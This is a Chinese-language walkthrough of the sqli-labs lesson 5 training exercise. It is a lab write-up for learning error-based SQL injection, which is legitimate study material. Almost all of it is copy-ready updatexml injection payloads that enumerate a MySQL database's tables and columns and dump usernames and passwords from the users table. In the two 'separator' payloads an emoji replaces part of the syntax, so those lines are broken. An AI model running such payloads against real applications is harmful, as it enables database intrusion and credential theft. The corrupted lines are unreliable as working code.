报错注入 sqli-lab lesson 5
1.判断是否存在注入
1.1. 输入1时,页面正常返回,输入 1'时,页面出现报错。说明很有可能存在漏洞。
1.2. 利用1 and 1=1、1 and 1=2和1'and '1'='1 、1'and '1'='2 对注入类型进行判断。
2.获取数据库名
输入 1'and updatexml(1,concat(0x7e,database()),1)%23,获取到数据库名为 security 。

3.获取数据库中表名
1.输入1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)%23,获取数据表名emails,referers,uagents,users

2.如果有很多表但是由于xpath报错最多显示32个字符,所以可以使用字符串截取函数 substr() 截取前32位,再从起始位32开始截取32位即可得出表名。比如:1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)%23
4.获取表中字段名
1.获取 emails 表中的字段名,输入1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema='security')),1)%23

2.获取 users 表中的字段名,1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security')),1)%23

5.获取表中记录
1.获取 users 表中记录,输入 1'and updatexml(1,concat(0x7e,(select group_concat(id,username,password)from users)),1)%23
加数据分割符:1'and updatexml(1,concat(0x7e,(select group_concat(concat(id,':',username,':',password,'😂 SEPARATOR '|') from users)),1)%23

2.获取表中更多记录,输入 1'and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),32,32)),1)%23
加数据分割符:1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,':',username,':',password,'😂 SEPARATOR '|') from users),32,32)),1)%23


浙公网安备 33010602011771号